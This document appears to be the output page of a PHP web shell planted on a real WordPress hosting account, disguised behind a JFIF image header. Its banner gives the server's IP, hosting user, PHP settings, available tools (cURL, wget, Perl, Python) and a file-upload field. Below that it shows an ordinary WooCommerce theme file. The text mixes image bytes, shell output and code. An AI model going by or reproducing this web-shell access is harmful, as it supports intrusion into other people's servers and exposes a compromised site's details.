????JFIF??x?x????'
Server IP : 104.21.80.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/tempvsty/eaabusiness.com/wp-content/themes/allegiant/core/ |
Upload File : |
<?php //Remove Standard WooCommerce Sidebar remove_action( 'woocommerce_sidebar', 'woocommerce_get_sidebar', 10 ); //Open shop wrapper remove_action( 'woocommerce_before_main_content', 'woocommerce_output_content_wrapper', 10 ); add_action( 'woocommerce_before_main_content', 'cpotheme_woocommerce_before_main_content', 10 ); function cpotheme_woocommerce_before_main_content() { echo get_template_part( 'template-parts/element', 'page-header' ); //Begin main area echo '<div id="main" class="main">'; echo '<div class="container">'; echo '<section id="content" class="content">'; do_action( 'cpotheme_before_content' ); } //Close shop wrapper remove_action( 'woocommerce_after_main_content', 'woocommerce_output_content_wrapper_end', 10 ); add_action( 'woocommerce_after_main_content', 'cpotheme_woocommerce_after_main_content', 10 ); function cpotheme_woocommerce_after_main_content() { do_action( 'cpotheme_after_content' ); echo '</section>'; get_sidebar(); do_action( 'cpotheme_woocommerce_after_sidebar' ); echo '</div>'; echo '</div>'; } //Do not display the product title on listings-- show the shop's title. add_filter( 'woocommerce_show_page_title', 'cpotheme_woocommerce_show_page_title' ); function cpotheme_woocommerce_show_page_title( $data ) { if ( ! is_singular() ) { return false; } return $data; } //Customize the breadcrumb separator and remove standard breadcrumb location remove_action( 'woocommerce_before_main_content', 'woocommerce_breadcrumb', 20, 0 ); add_filter( 'woocommerce_breadcrumb_defaults', 'cpotheme_woocommerce_breadcrumbs' ); function cpotheme_woocommerce_breadcrumbs( $data ) { $data['delimiter'] = '<span class="breadcrumb-separator"></span>'; $data['wrap_before'] = '<nav id="breadcrumb" class="breadcrumb" itemprop="breadcrumb">'; return $data; }